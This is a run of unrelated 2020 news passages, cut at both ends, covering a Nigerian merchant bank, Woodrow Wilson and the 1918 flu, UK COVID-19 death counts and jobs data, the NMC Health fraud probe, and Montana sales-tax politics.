wholesale banking, made up of the high end corporate and commercial businesses. However, he said the bank was also aware of its responsibilities to the society, which informs its use of the value chain approach in its funding interventions by ensuring that in servicing the corporate entities, their value chain consisting of their suppliers and others are also taken care of. On Novas non-performing loans, Mr Duroha said although the level has remained nil since 2017, the delay in repayment category has not exceeded seven days, an indication of the banks risk management framework and how lending is handled in the market. Over 45% of our risk investment portfolio are companies rated standard grades A and above, while almost 80% of the other 55% are collaterised by cash or near cash items. We have been very deliberate in growing that portfolio he said. As 2019 ended, he said the highest concentration of the banks loans was 25.77 per cent on merchant banking, although its license allows it to play in other financial sectors, like asset management business, securities trading and investment banking. With its loans concentration focused down considerably from the initial 100 per cent over the last three years, he said the target was to bring it down further to about 20 per cent, while looking at new areas to tap into in line with a few deals in the pipeline for manufacturing, pharmaceutical and health sectors. Advertisements Well work with industries we have identified that are struggling. The Bank of Industry (BOI) has just granted approval to the bank to be able to work with them conscious of our place as (a) merchant bank to help in the economic development of the country, which is why we went for those long-term funds. What makes the difference between us and the others is being deliberate about the things we want to do and take them through, to help businesses by taking time to understand the needs of our customers and how to help them solve those problems, he said. Although he identified the banks size as the biggest challenge, compared to commercial banks, he said the outlook of the economy for the future was positive, despite projections of serious contractions of about three to four per cent, as a result of the COVID-19 pandemic. We are cautiously optimistic about the future. Business will not be the same again. Those that will factor in this in their planning and begin (to) move away from the traditional ways of doing business will always succeed, he said. As the coronavirus outbreak continues to spread across the U.S., recent polls indicate dissatisfaction about the federal response to the pandemic: One Aug. 4 NPR/Ipsos poll found that two-thirds of Americans believe the U.S. pandemic response is worse than that of other countries. Inherent in that response is what can often seem like a lack of coordination. In recent months, the White House has vacillated on mask-wearing, challenged the Centers for Disease Control and Prevention (CDC) guidelines on reopening schools, and ordered hospitals to send coronavirus data to the Department of Health and Human Services instead of the CDC. Then, on Saturday, amid stalled congressional talks, President Trump signed executive orders extending coronavirus relief even though the legality of such a move is in question. But a look back at the influenza pandemic of 1918 reveals that a chaotic White House response to a public-health emergency is nothing new. President Trump talks about the fight against COVID-19 as a war against an invisible enemy, but a little over 100 years ago, President Woodrow Wilson was fighting both kinds of war: the Great War in Europe was in its final stages as the flu pandemic swept the globe, including the United States. Wilson chose to focus on the battlefronts of Europe, virtually ignoring the disease that ravaged the home front and killed about 675,000 Americans. The 45th President has made inaccurate public statements about the coronaviruslast Wednesday, for example, Facebook removed a video in which President Trump claimed that children are almost immune to COVID-19but, by comparison, the 28th president never uttered a single public statement about the 1918-1919 flu pandemic. In terms of managing a federal response to the pandemic, there was no leadership or guidance of any kind directly from the White House, historian John M. Barry, author of The Great Influenza: The Story of the Deadliest Pandemic in History, tells TIME. Wilson wanted the focus to remain on the war effort. Anything negative was viewed as hurting morale and hurting the war effort. Story continues Tevi Troys book Shall We Wake the President: Two Centuries of Disaster Management from the Oval Office, ranks Wilson as the #1 worst president in a disaster: The federal response to the influenza outbreak in 1918 can best be described as neglectful. Hundreds of thousands of Americans died without President Wilson saying anything or mobilizing nonmilitary components of the U.S. government to help the civilian population. He also faulted Wilson for contributing to the massive spread of the disease by continuing troop mobilizations even as World War I was winding to a close. Get your history fix in one place: sign up for the weekly TIME History newsletter Wilsons lack of leadership on the flu did not necessarily come from any ignorance of how serious the disease was. There were reports of illness striking young, healthy soldiers in military barracks and on troop transport ships where overcrowding and poor sanitation was rampant. While Wilson never issued a public statement about the illness, Barry believes the President had many conversations about the high numbers of ill and incapacitated troops at the front. According to Alfred W. Crosbys Americas Forgotten Pandemic: The Influenza of 1918, Wilson asked Army Chief of Staff General Peyton March in October 1918 if he had heard of the popular jump rope rhyme parodying the virus, and recited part of it. (I had a little bird, / Its name was Enza / I opened the window / And in-flu-enza.) First Lady Edith Wilson once delivered 1,000 roses to female war workers who had come down with the Spanish flu. A niece of the Presidents apologized to him in a letter for failing to meet the Liberty Loan program quota due to social interactions being curbed because of influenza. Even two of the White House sheep that grazed on the front lawn were stricken but recovered. White House staffers started to come down with the contagious virus in the fall as well. A private letter to Mississippi Senator John Sharp Williams was notable for being one of the very few times that the President ever spoke or wrote about influenza, and even that was just a passing reference to the bug that had struck the White House: I would have answered your letter of October 14th sooner, had not my Secretary been absent with the influenza. People staffing the President continued to fall ill, including a Secret Service agent, the White House usher and a stenographer. The illness even followed when Wilson went to Paris to negotiate the Treaty of Versailles after the World War I armistice. A young American aide in the peace delegation, 25-year old Donald Frary, became ill with the flu and died. Around the same time that Frary got sick, so did Wilson himself. Some newspapers initially reported that spring that the President had caught the flu over there, after he came down suddenly with a 103 fever, coughing spasms and gastrointestinal symptoms. Today, historians disagree about whether Wilson had the 1918 flu or a different strain. He recovered, but he suffered a stroke that fall that left him incapacitated for the rest of his term. 1919 Peace Conference attendees (seated, L-R) Italian Premier Vittorio Orlando, British Prime Minister David Lloyd George, French Premier Georges Clemenceau, U.S. President Woodrow Wilson meeting in Paris prior to the signing of the Versailles Treaty. | US Army Signal Corps/The LIFE Picture CollectionGetty Images And it wasnt just the White House. Federal and local health leaders downplayed the severity of the virus from the beginning. One could read in a local paper like the Arizona Republican that a Camp Dix health official reassured, they have the epidemic under control. Another paper advised the public dont get panicky. Wilson-era health officials tried to keep morale high and energies focused on the war effort so they reassured the public that there was nothing to fear. U.S. Surgeon General Rupert Blue advised, There is no cause for alarm if proper precautions are taken. Colonel Philip Doane, the head of Health and Sanitation Section of the Emergency Fleet Corporation, which was charged with building a fleet of merchant ships, said this strain of flu was nothing more or less than old-fashioned grippe. According to Barry, the surgeon general back then was a master bureaucrat but failed to heed warnings of, seek advance information about, or prepare for the epidemic. A scientist at the National Research Council working on medical matters regarding the war complained about not being able to get any information about the spread of the influenza in Europe from Blues office. And when the pandemic overwhelmed the Minnesota hospital system, Blue merely suggested, rather than required, that all public gatherings cease. As historian Barry puts it, There was no Anthony Fauci then. But there would have been no forum like the one that has made Fauci famous: Historians also note that presidential press briefings did not take place regularly back then. Nor was there as much of an expectation that the federal government would intervene to help Americans face something like the flu; overall, Washington played a much smaller role in peoples lives. That dynamic would change dramatically in the next two decades, thanks especially to New Deal shifts that were spearheaded by President Franklin Delano Roosevelta survivor, no thanks to Woodrow Wilson, of the 1918 flu. With reporting by Olivia B. Waxman Sanjay Dutt was admitted to the hospital couple of days ago, after he complained of breathlessness. He was tested for COVID-19 and the result was negative. A day after his discharge, the actor tweeted that he will be taking a medical break from work. Agencies It is reportedly being said that the actor is diagnosed with lung cancer and will immediately fly to USA for the treatment. Though Dutt didnt mention about lung cancer, he did say he is off from work for a while as he needs some medical treatment. The tweet reads, Hi friends, I am taking a short break from work for medical treatment. My family and friends are with me and I urge my well-wishers not to worry or unnecessarily speculate. With your love and good wishes, I will be back soon!" As per a report in TOI, Dutts close friend informed that he is devastated with this news. Even one of the prominent journalists tweeted that he is diagnosed with lung cancer and will be heading to the US for treatment. Agencies On work front, he will next feature in KGF Chapter 2. Sanjay Dutt had himself revealed the first look poster on his birthday. We wish a speedy recovery to the actor. HMD Global, the company behind new Nokia-branded phones, has secured $230 million in fresh funding from investors including Google, Qualcomm and Nokia. The Espoo, Finland-based firm said Tuesday that it would use the capital to invest in the development of 5G smartphones, which it hopes to sell in the U.S. in partnership with local carriers. The cash will also be used to help HMD expand in markets like Brazil, Africa and India and move beyond hardware into other areas like software and services. HMD has held the rights to design and market Nokia phones since a joint deal with Foxconn to buy the Finnish telecoms giant's mobile unit from Microsoft in 2016. Foxconn manufactures the handsets while Nokia gets royalty payments for each phone HMD sells. HMD sold 70 million phones last year and claims to have sold over 240 million to date. Microsoft's initial Nokia acquisition in 2014 was notoriously ill-fated due to the failure of its Windows phones. HMD has looked to turn the business' fortunes around by launching new versions of nostalgic Nokia handsets like the 8110 "banana phone" and 2720 flip phone, as well as premium Nokia-branded smartphones that run on Google's Android mobile operating system. "We believe this clear focus on a premium and well-differentiated smartphone experience is something that sets us apart," HMD CEO Florian Seiche told CNBC in an interview. "Clearly our partners ... have confirmed their point of view as well and are giving us strong endorsement to accelerate our growth in the coming years." Scandal-hit NMC Health is being investigated for allegedly using fake invoices for medical supplies to borrow money. The hospitals provider, which was forced into administration by lenders in April, reportedly used sham documents as evidence that it had placed orders for the supplies. The business was then provided credit by banks and factoring agents to finance the supposed transactions, according to the Financial Times. The fake sales are said to have been funnelled through drugs company Neopharma, which is controlled by NMC founder BR Shetty (pictured), and its joint venture Nexgen The fake sales are said to have been funnelled through drugs company Neopharma, which is controlled by NMC founder BR Shetty, and its joint venture Nexgen. Neopharma is investigating alleged fake invoices and whether they underpinned debt-raising by NMC. Thousands of fake transactions are thought to have been carried out, raising questions about oversight from banks and NMCs auditor, EY. EY has already come under fire for its roll in the saga, after it had repeatedly signed off NMCs books despite the company later uncovering billions of pounds worth of secret debts. The fake document allegations mark the latest twist in the extraordinary collapse of NMC, which until earlier this year was still a FTSE 100 member. The crisis at the firm erupted after a blistering research paper published by short seller Muddy Waters raised serious doubts about the Dubai-based firms accounting practices and claimed they bore hallmarks of significant fraud. It later emerged that Shetty, the Indian billionaire whose empire also includes Travelex, had not properly disclosed his shareholdings in NMC and that more than 3billion in debts had been concealed from the board and investors. The shock disclosures sent NMCs shares into freefall and prompted the resignation of chairman Mark Tompkins and sacking of chief executive Prasanth Manghat. Trading of the companys stock was later suspended in March, with creditors taking legal action to force it to appoint administrators a month later. Shetty has since claimed that unnamed bosses at NMC and other businesses he is involved in had forged his signature to create loans, personal guarantees, cheques and bank transfers in his name. The Financial Conduct Authority, the City watchdog, is carrying out a probe into the scandal and the Financial Reporting Council is also examining the role of auditor EY, which had repeatedly given NMCs books a clean bill of health. NMC has been placed into light-touch administration, overseen by restructuring firm Alvarez and Marsal. The administrators are looking into the allegations of fraud as well. NASA's Terra satellite revealed that a wispy looking Tropical Depression 06W in the Northwestern Pacific Ocean was being battered by wind shear. That wind shear is not expected to wane and the storm is expected to weaken. Tropical Depression 06W formed two days ago on August 9 by 11 a.m. EDT (1500 UTC) near latitude 26.1 degrees north and longitude 147.6 east, about 250 nautical miles east-northeast of Iwo To Island, Japan. 06W briefly strengthened to a tropical storm by 5 p.m. EDT (2100 UTC) when maximum sustained winds reached 45 knots (52 mph/83 kph). By Aug. 10 at 11 a.m. EDT (1500 UTC) the storm had weakened back to tropical depression status. On Aug. 11, 2020, the Moderate Resolution Imaging Spectroradiometer or MODIS instrument that flies aboard NASA's Terra satellite provided forecasters at the Joint Typhoon Warning Center in Honolulu, Hawaii with a visible image of Tropical Depression 06W. The image showed a ring of wispy clouds around a fully-exposed, well-defined, low-level center of circulation. It also showed that any precipitation and thunderstorms were pushed to the south-southwest of the center from vertical wind shear. Vertical wind shear, that is, winds outside of a tropical cyclone at different heights in the atmosphere (the troposphere) push against a tropical cyclone and tear it apart. Winds from the north-northeast were affecting 06W. In addition, dry air was moving into the storm and sapping the development of the thunderstorms that make up a tropical cyclone. At 5 a.m. EDT (0900 UTC) on Aug. 11, the center of Tropical Depression 06W was located near latitude 26.6 degrees north and longitude 140.5 degrees east, about 681 nautical miles east of Kadena Air Base, Okinawa Island, Japan. 06W was moving to the west and had maximum sustained winds near 25 knots (29 mph/46 kph). The Joint Typhoon Warning Center (JTWC) forecast notes that 06W will continue to move west and weaken before dissipating after a few days. About NASA's Worldview and Terra Satellite NASA's Earth Observing System Data and Information System (EOSDIS) Worldview application provides the capability to interactively browse over 700 global, full-resolution satellite imagery layers and then download the underlying data. Many of the available imagery layers are updated within three hours of observation, essentially showing the entire Earth as it looks "right now." NASA's Terra satellite is one in a fleet of NASA satellites that provide data for hurricane research. Tropical cyclones/hurricanes are the most powerful weather events on Earth. NASA's expertise in space and scientific exploration contributes to essential services provided to the American people by other federal agencies, such as hurricane weather forecasting. By Rob Gutro NASA's Goddard Space Flight Center ### Advertisement The UK today recorded its highest number of new coronavirus cases in seven weeks with 1,148 infections and a further 102 deaths across the country. The total number of cases today reached 312,789 after the largest rise since June 21, when there were 1,221 new cases. The total number of deaths rose to 46,628 today. The new rise in cases breaches the ceiling that the Government's Joint Biosecurity Centre said was acceptable to avoid 'flare-ups' of Covid-19, according to Sage documents. In recent days thousands of Britons have flocked to beaches and parks to cool off during the sweltering heat, making social distancing largely impossible. It comes as official figures revealed that the infection rate among all age groups under 65 has been rising since lockdown was eased earlier in the summer. Among those aged 15 to 44 in England, the rate has increased by 35 per cent since July 5 - a day after 'Super Saturday' when bars, restaurants and cinemas reopened and a large chunk of the workforce returned to work. Public Health England's latest data also shows weekly infections have jumped by 40 per cent in infants during the same time period. Meanwhile officials have revealed they will start publishing three separate daily death tolls for Covid-19 amidst confusion over statistics pushed out by the Government. The Department of Health will now release three measures including its heavily criticised count which records deaths of everyone who has ever tested positive for the coronavirus - regardless of how they died. In recent days thousands of Britons have flocked to beaches and parks to cool off during the sweltering heat, making social-distancing largely impossible (pictured: Bournemouth beach on Monday) It comes after Health Secretary Matt Hancock ordered Public Health England to review the way it counts deaths because of a 'statistical flaw' that meant officials were 'over-exaggerating' the daily toll. WHAT WILL THE THREE DEATH TALLIES BE? 28-day cut off This method is said to be favoured by ministers. If someone died 28 days after testing positive for Covid-19, their death would be recorded as caused by the disease. But if they died 29 days later, it would not be. The shorter time frame than the one used now - which counts deaths any time after someone tests positive for Covid-19 - will lessen the possibility that a person is recorded as a Covid-19 death even if they died of a completely different unrelated cause. 60-day cut off This method, favoured by Government statisticians, will count a Covid-19 death as anyone who died with in 60 days of a positive result. It leaves room for those who may have died several weeks after getting infected, considering some patients may be in hospital for a long time before they eventually die of the disease. However, it also means some people who tested positive for the virus, recovered, and then died a while later of different causes will be picked up. Public Health England said the 60-day cut off is better than 28 days because some patients suffer long term Covid-19 symptoms after appearing to recover, and cannot be missed out from the tally if they do not die in the immediate month after their diagnosis. The current measure It is understood the current method - which counts any death after a positive Covid-19 result no matter how much later it occurs - will continue to be published. The method has come under scrutiny because it means someone who once suffered Covid-19 and then recovered would be counted even if they got hit by a bus or were in a car crash. But experts say it is still useful because it allows instant compatibility between days to see if deaths are petering out. Advertisement The original method recorded people as a Covid-19 fatality even if they tested positive in March and died in a car crash in August. Two new methods will create lists of people who have died within 28 days of testing positive for coronavirus, and people who have died within 60 days of a test. The 28-day count is considered to be the medical standard, with deaths within that time frame likely to be a direct result of the disease. But the longer term ones risk including people who die of other causes and just happened to have had Covid-19. But officials are understood to be hesitant to stop its long-term count because so many people suffer the after-effects of coronavirus for weeks or even months after infection. On top of that, the Office for National Statistics (ONS) still publishes its own weekly report on Covid-19 deaths based on what was written on a death certificate. PHE counts people as victims if they die of any cause any time after testing positive for Covid-19 even if they were hit by a bus months after beating the life-threatening infection, top academics revealed last month. The method is likely why the daily fatality tolls have not dropped as quickly in England as elsewhere - because survivors are never considered truly recovered from the disease. PHE are expected to publish the findings of a review into its own counting within the next few days, The Times reported. But despite the shortfalls of the counting method, it is not going to be scrapped. Instead, two other Covid-19 death tolls will be added on top after a compromise between ministers and scientists. Separate statistics published this morning show that the numbers of people dying from coronavirus in England and Wales each week has dropped to its lowest level in 19 weeks and there are now fewer than 200 victims per week. Covid-19 was mentioned on the death certificates of 193 fatalities registered in the week ending July 31, according to the latest report from the Office for National Statistics. It marks the lowest number of deaths linked to the virus since the week ending March 20, four days before lockdown, when the ONS reported 103 deaths. Deaths have now been at pre-lockdown levels for four weeks in a row. And flu has now been a bigger cause of death than Covid-19 for seven weeks in a row, since weekly coronavirus fatalities fell below those caused by the common illness. Between June 19 and July 31 a total of 6,626 people have died with flu mentioned on their death certificate, compared to 2,992 with coronavirus. Covid-19 was last higher in the week ending June 12 when it killed 1,114 people compared to flu's 996. Around a thousand people were dying from Covid-19 each day at the height of the UK's crisis in mid-April and the official death toll now stands at 46,595. But the Government's death tally only includes victims who had a test confirming they had the virus, which differs from the ONS' calculations which include all deaths where the virus was a suspected cause. The ONS says there have been 51,779 deaths involving Covid-19 in England and Wales up to July 31, while official figures show there have been 4,208 in Scotland and 855 in Northern Ireland. Together, these figures suggest there have so far been 56,842 deaths registered UK-wide with Covid-19 mentioned on the death certificate. Today's report also found that nearly 700 more people than average died in their homes in the last week of July, amid concerns Britons are still reluctant to use the NHS. There were a total of 2,915 deaths registered in private homes in England and Wales - 676 higher than the five-year average. Experts fear people are still hesitant to use healthcare either because they are afraid of catching the virus in hospitals and GP surgeries, or they don't want to be a burden on the health service. The number of deaths involving Covid decreased for the 15th consecutive week, and the amount of fatalities from all causes also remained below the five-year average for the seventh week. Flu has now consistently been a bigger killer since the middle of June The number of people dying from coronavirus in England and Wales every week has dropped to its lowest level in 19 weeks. Covid-19 was mentioned on the death certificates of 193 fatalities registered in the week ending July 31 - compared to 103 in the week ending March 20 Nearly 700 more people than average died in their homes in the last week of July, amid concerns Britons are still reluctant to use the NHS. Deaths in hospitals and care homes, however, are below the five-year average There were 600 fewer deaths than would be expected normally at this time of year in England and Wales' hospitals, the report showed. In early March the NHS told hospitals to scrap as many operations as possible and turf out patients on their wards to make way for an influx of Covid-19 patients. The move was successful and hospitals were not overwhelmed by the effects of the virus, but it appears to have led to a plummet in hospital deaths and rise in the number of people passing at home. Overall, the number of deaths from all causes in all settings was 1 per cent below the five-year average. This is the seventh consecutive week that deaths have been below expected levels. There were 8,946 deaths registered in England and Wales in the latest reporting period, which the ONS says is 90 fewer than it would expect. Coronavirus is likely to have brought forward some deaths of older and vulnerable people which could prompt a period of below-average deaths, according to statisticians at the Government-run agency. Broken down, five out of nine regions in England recorded deaths below the five-year average in the most recent count. The most dramatic was in London, where fatalities were 7.8 per cent lower than the normal level and in the East Midlands, where they were 5.3 per cent below average WHAT ELSE HAS PUBLIC HEALTH ENGLAND COME UNDER FIRE FOR? Public Health England has been in the firing line for a number of dubious decisions taken during the coronavirus pandemic. DEATH COUNTING BLUNDER In July, academics found Public Health England's methods meant ministers count victims as anyone who died after ever testing positive for Covid-19 even if they were hit by a bus after beating the disease months later. It would've meant that, technically, no-one could ever recover from the virus and all 265,000 of England's confirmed patients would eventually have had their deaths attributed to the disease. The blunder could see up to 4,000 deaths removed from England's official toll of 41,749, according to reports. The statistical flaw was uncovered by Oxford University's Professor Carl Heneghan and Dr Yoon Loke, from the University of East Anglia. STOPPING TEST & TRACE When the first cases of coronavirus appeared in the UK, Government policy was to test everyone who had symptoms after returning from abroad and to trace people they had come into contact with. However, on March 12, testing and contact tracing stopped completely. PHE no longer had the capacity to test the amount of people who were coming into the country infected with the virus after trips to Italy and France in half-term. The decision has since been branded disastrous and a contributing factor to the UK's devastating outbreak. 'THEY WERE OVER-CONTROLLING' Conservative MP David Davis told MailOnline this month that Public Health England had been over-controlling and made a mess of coronavirus testing. The Tory MP said: 'They made a complete mess of the testing arrangements; they were over-centralised, over-controlling and massively reduced our ability to test.' He warned the decision criticised heavily by top scientists at the time then 'handicapped' later decisions and was 'precisely the wrong thing to do'. 'Before the winter crisis, the government has to reorganise this, whether that's abolition or taking some of the powers away from them and giving them to someone else,' he added. OVERLOOKING LOCAL AUTHORITIES Public Health England kept too much power over testing and contact tracing and should have delegated it to local authorities, one expert said. Professor John Ashton, a former public health director, said Britain should have followed the example of Cuba where local teams went from house to house screening people for coronavirus. He said: 'The local public health level has been neglected. I think weve missed an opportunity because we should have made more use of primary care, local government and volunteers... 'Instead what we did was a very top-down, London-centric approach.' Advertisement Broken down, five out of nine regions in England recorded deaths below the five-year average in the most recent count. The most dramatic was in London, where fatalities were 7.8 per cent lower than the normal level and in the East Midlands, where they were 5.3 per cent below average. Yorkshire and the Humber (4.2 per cent below), the West Midlands (4 per cent below) and the East of England (3.2 per cent below) all suffered fewer deaths. The four regions where deaths were above normal were in the South East (8.1 per cent above), the North East (4.1 per cent), the North West (3.2 per cent) and the South West (1.2 per cent). It comes as a separate ONS report found the number of people employed fell by another 114,000 last month as coronavirus hammered the jobs market. Some 730,000 fewer people are now on the payroll of companies than in March before the country went into lockdown to combat the killer disease. Meanwhile, the claimant count - which includes some people who are in work - increased again in July 2020 to reach 2.7million. In the three months to June, the number in work decreased by 220,000 - the largest quarterly decrease since 2009. And the total hours worked slumped by a fifth over the quarter to the lowest level since 1994. However, the full impact of the lockdown has so far been masked by the government's massive support schemes. The latest figures today showed that 9.6million jobs have been furloughed, with the Treasury paying out 33.8billion in subisidies. Many people appear to have chosen to stay economically 'inactive' rather than hunt for work - meaning they remain outside the headline unemployment figures. ONS economist Jonathan Athow said: 'The labour market continues recent trends, with a fall in employment and significantly reduced hours of work as many people are furloughed. 'Figures from our main survey show there has been a rise in people without a job and not looking for one, though wanting to work. 'In addition, there are still a large number of people who say they are working no hours and getting zero pay. 'The falls in employment are greatest among the youngest and oldest workers, along with those in lower-skilled jobs. 'Vacancies numbers began to recover in July, especially in small businesses and sectors such as hospitality, but demand for workers remains depressed.' The ONS said that around 7.5million people were temporarily away from work in June this year, most of them on the Government's furlough scheme. Around three million of these had been away for three months or more. Some 300,000 people in the UK were away from work because of the pandemic but getting no pay last month. However, that figure had been over half a million in April and May. Redundancies were up by 27,000 quarter on quarter to 134,000, in another sign of what is to come. The claimant count - which includes people receiving in-work benefits - increased by 94,400 to 2.7million last month. It is up 117 per cent, or 1.4 million, since March. Total weekly hours worked in the UK decreased by a record 191.3million, or 18.4 per cent, in the quarter to June compared to the previous three months. It was the largest quarterly decrease since estimates began in 1971, with total hours hitting the lowest level since 1994. Chancellor of the Exchequer Rishi Sunak said of the latest figures: 'Today's labour market stats make it clear that our unprecedented support measures, including the furlough and self-employed support schemes, are working to safeguard millions of jobs and livelihoods that could otherwise have been lost. 'I've always been clear that we can't protect every job, but through our Plan For Jobs we have a clear plan to protect, support and create jobs to ensure that nobody is left without hope.' Fears are mounting of a 'bonfire of jobs' amid warnings a third of firms are planning to lay off staff this autumn. Many of the cuts are set to come from hospitality businesses such as hotels, restaurants and cafes, as well as shops that were already on the brink before the pandemic. The Bank of England predicted last week that unemployment will rise by a million by the end of the year. Labour has been demanding the government ditches plans to scrap the furlough scheme entirely from October, forcing employers to take on the full costs of staff wages again. Some 730,000 fewer people are now on the payroll than in March before the country went into lockdown to combat the killer disease The latest ONS figures showed the average number of hours worked per week has stayed flat overall - although there was a slight bump for the self-employed Job vacancies showed slight signs of recovery in July - but are still far lower than during the credit crunch Yael Selfin, chief economist at KPMG UK, said: 'As the Job Retention Scheme unwinds, we expect unemployment to rise quickly in the fourth quarter. That could see unemployment average over 6 per cent this year compared to only 3.9 per cent at present. 'Government needs to step in and help those who are likely to lose their job retrain for new openings in different sectors. It is an opportunity to upskill a large section of the UK labour market, providing better prospects for the future.' Meanwhile, figures released this week are due to confirm that the UK has formally entered recession - with a second quarter of GDP contracting. The Bank of England's latest forecast says the economy will shrink by 9.5 per cent this year, making it the worst downturn in a century. Democratic gubernatorial candidate Lt. Gov. Mike Cooney announced a proposal Monday to constitutionally prohibit a sales tax in Montana. Cooney and running mate Rep. Casey Schreiner, of Great Falls, announced the start of a constitutional initiative signature-gathering effort under the group Montanans Against a Sales Tax. If successful, the measure would need to gather more than 50,000 signatures and would go before voters in two years. The proposal came amid dueling accusations from Cooney and his opponent, Republican U.S. Rep. Greg Gianforte, about each candidates record on sales taxes. Sales taxes have twice been defeated by voters in Montana and have historically seen more opposition than support. Cooneys campaign has launched a similar line of attack against Gianforte as one that term-limited Gov. Steve Bullock brought in 2016, when Bullock beat Gianforte by 4 percentage points to win reelection. Democrats cite testimony Gianforte made as a private businessman in 2002 in which he called a sales tax an ideal solution from a high-tech perspective. There will always be people like Greg Gianforte who are going to be looking for ways to bring a tax Montanans dont like, and have outwardly spoken about it, to the forefront and sneak it in sometime, Cooney said. I think (a constitutional initiative) gives Montanans a real protection. Cooney questioned Gianfortes opposition to a sales tax dating back to the Republican's first run for governor in 2016. The Democrats campaign has cited reports that Gianforte misled police following his election-night assault of a reporter in 2017 in attempting to sway voters about Gianfortes trustworthiness on a variety of issues. But Gianforte and the Montana Republican Party launched their own attack against Cooneys record Monday. The party cited a bill draft Cooney requested in 2004 as a state legislator titled 4% sales tax and refundable income tax credit in alleging hypocrisy on the issue. "Greg Gianforte has been clear: He opposes a sales tax. Period. The fact is 44-year career politician Mike Cooney worked on imposing a 4 percent sales tax on hardworking Montanans when he was a state senator, and Cooney should come clean with Montanans about it, Travis Hall, Gianforte campaign spokesman said in a statement. Back in 2002, Gianforte has said he was speaking in hypothetical terms while lobbying for lower tax rates when he told then-Republican Gov. Judy Martz's Income Tax Advisory Council that a sales tax was an ideal solution because other states had better tax incentives for high-tech industries. If you want high-tech, our competition has zero income, zero capital gains. Thats an ideal solution, Gianforte said at the time of a sales tax. He also noted that a sales tax was politically untenable and said when he entered politics that he is an opponent. Cooney has attacked Gianforte, including with ads characterizing a theoretical statewide sales tax as a Gianfortax on various goods. Cooney did say in response to a reporters question that a sales tax could be coupled with other tax relief but would not be certain and that sales taxes by nature are regressive and push tax relief onto the wealthy. Cooney also said that while he wants to outlaw a statewide sales tax, he has and continues to support local option sales taxes. In those taxes local municipalities could vote to have a sales tax. Montana also currently allows for a resort tax, which is a sales tax voted on by communities with populations under 5,500 with high levels of tourism. The Republicans attacks on Cooney center on his support of local option taxes and the 2004 bill draft. The measures, they say, are evidence of Cooneys past support of a sales tax and they launched an ad challenging his record. Cooney said Monday he introduced the bill draft in an effort to gather fiscal information on Republican proposals to bring a sales tax. He consistently voted against sales tax bills and the bill draft was never introduced in the Legislature. No. 1, the bill never got introduced from me, and secondly I voted each time against the sales tax as it was brought forward and so to try to make that as Im a pro-sales tax person as a result of that is just a joke," Cooney said. "Thats them trying to divert attention from Greg Gianfortes support in the past of a sales tax. An interim legislative committee formed to study the states revenue structure voted in July to request a bill draft proposing a sales tax. Sen. Brian Hoven, R-Great Falls, called for the draft. He said it would be an extensive proposal that would eliminate other taxes as well. While Hovens request for a bill draft passed on a 10-7 vote, committee chair Rep. Alan Redfield, R-Livingston, raised concerns about whether either man running for governor would let a sales tax become law. "We have two gubernatorial candidates saying I wont sign one, Redfield said at the July meeting. If theyre both going to say theyre not going to sign one, are we wasting our time? I dont like wasting my time. Love 4 Funny 3 Wow 0 Sad 1 Angry 5 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Tom Kuglin State Reporter/Outdoors Reporter Tom Kuglin is the deputy editor for the Lee Newspapers State Bureau. His coverage focuses on outdoors, recreation and natural resources. Follow Tom Kuglin Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today "For more than 40 years, Plant Morrow has provided safe, reliable and affordable electricity to help power thousands of homes and businesses throughout Mississippi," says Jeff Bowman, president and CEO of Cooperative Energy . "As we progress toward a new era of power generation, the shift to lower-cost natural gas brings cleaner, more efficient combined-cycle technology." Facing a fast-approaching power deficit within the Midcontinent Independent System Operator (MISO) market, Cooperative Energy announced plans to bolster generation at Plant Morrow in 2018. Rather than build a new greenfield plant, the cooperative partnered with Burns & McDonnell to evaluate all possible options, including repowering one of the utility's two coal-fired plants. Due to ongoing maintenance and upkeep, coupled with the significant capital cost benefits of reusing its steam generator, Cooperative Energy elected to pursue a heat recovery repower strategy to propel its natural gas combined-cycle plant. While repowering has grown increasingly common, a heat recovery repower is unique in that it adds a natural gas combustion turbine within the existing infrastructure. "By using a heat recovery repower approach, the reuse of existing equipment and infrastructure will result in notable cost savings for both the cooperative and its customers throughout the region," says Craig Demmel, power generation project manager at Burns & McDonnell. "The resulting combined-cycle plant will add nearly 350 MW of generation to a single unit three times more unit generation capacity than previously available. The plant's resolute reputation for reliability and service will continue well into the future with natural gas as its new fuel source." To date, project teams have worked more than 450,000 hours with zero safety incidents even through the height of the coronavirus pandemic. From daily temperature checks to staggered schedules to improve social distancing, Burns & McDonnell is maintaining its commitment to making clients successful through robust, highly adaptive safety and health practices onsite. Now that demolition is complete, crews have moved on to excavation, piling and execution of the project's foundation package. The repowered unit is expected to begin firing in summer 2022 and go commercial by March 2023. The firm's vast experience in designing and constructing natural gas-powered facilities ranges from aeroderivatives to the largest J-class and advanced-class combustion turbines to reciprocating engines. Burns & McDonnell ranks No. 1 in Power and is ranked as the No. 1 design firm in the Louisiana Gulf Coast region by Engineering-News Record. For photos and support materials, please visit our MEDIA KIT. About Burns & McDonnell Burns & McDonnell is a family of companies bringing together an unmatched team of 7,600 engineers, construction professionals, architects, planners, technologists and scientists to design and build our critical infrastructure. With an integrated construction and design mindset, we offer full-service capabilities with more than 55 offices, globally. Founded in 1898, Burns & McDonnell is a 100% employee-owned company and proud to be on Fortune's 2020 list of 100 Best Companies to Work For. Learn how we are on call through it all. About Cooperative Energy Cooperative Energy generates and transmits electricity to 11 Member-owned electric distribution cooperatives. Known as the Power of 12, Cooperative Energy and its Member cooperatives work together to provide safe, reliable, and affordable power from the Mississippi Delta to the Coast. The 11 electric cooperatives own and maintain more than 57,000 miles of distribution lines and provide service to approximately 432,000 homes and businesses throughout 55 counties. Contact: Mary Young, Burns & McDonnell 816-448-7379 [email protected] SOURCE Burns & McDonnell Related Links http://www.burnsmcd.com The Hong Kong government turned the issue over to the standing committee of the legislature in Beijing. That committee met and voted Tuesday on a resolution that approved the extension of the Hong Kong legislatures term without making any decision regarding the four opposition lawmakers. Beijing appeared to have decided that removing the lawmakers this month was not worth the trouble, said Michael C. Davis, a retired University of Hong Kong law professor who is now a senior research scholar at Columbia University. They just didnt want to alienate people more, and will wait until next year, Mr. Davis said. Beijing might also have wanted to avoid giving the United States another reason to attack China while relations are in a downward spiral, in part over Hong Kong. The Trump administration has sought to punish Hong Kong and mainland Chinese officials for quelling pro-democracy protests, including by imposing sanctions on them. Even with the four pro-democracy lawmakers likely staying in the 